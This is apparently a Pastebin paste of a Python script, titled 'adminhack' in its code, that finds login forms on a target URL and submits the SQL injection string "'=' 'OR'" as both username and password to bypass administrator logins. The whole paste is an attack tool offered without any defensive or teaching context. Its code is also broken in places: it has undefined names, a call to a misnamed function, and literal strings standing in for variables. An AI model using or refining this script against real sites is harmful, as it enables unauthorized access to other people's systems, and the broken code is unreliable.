Advertisement
Guest User

Untitled

a guest
Sep 17th, 2018
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. import mechanize, sys
  2.  
  3. url = sys.argv[1]
  4.  
  5. br = mechanize.Browser()
  6. br.set_handle_robots(False)
  7. br.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11')]
  8.  
  9. def adminhack(url):
  10. curr = 0
  11. br.open(url)
  12. forms = br.forms()
  13. if forms:
  14. for f in forms:
  15. f = str(f)
  16. print(f)
  17. username = search(r"<TextControl\(.*=\)>", f)
  18. password = search(r"<PasswordControl\(.*=\)>", f)
  19. if username:
  20. user = (username.group().split('<TextControl(')[1][:-3])
  21. if password:
  22. passw = (password.group().split('<PasswordControl(')[1][:-3])
  23. print(user)
  24. print(passw)
  25. else:
  26. curr += 1
  27. else:
  28. curr += 1
  29. if(username and password):
  30. br.select_form(nr=curr)
  31. br.form[user] = "'=' 'OR'"
  32. br.form[passw] = "'=' 'OR'"
  33. resp = br.submit()
  34. data = resp.read()
  35.  
  36. if('username or password' in data or 'Failed' in data or 'incorrect' in data or 'Invalid' in data):
  37. found.append(' | Failed to crack the panel')
  38. elif(' Log Out' in data or 'administrator' in data):
  39. founds = (' | URL: ' + 'url' + ' | Login: ' + 'login' + ' | Password: ' + 'password')
  40. found.append(founds)
  41. else:
  42. print(' | Failed to crack the panel')
  43. else:
  44. print(' | Not Found Form')
  45.  
  46. findpage = '\n'.join(found)
  47. return findpage
  48.  
  49. print(admin(url))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement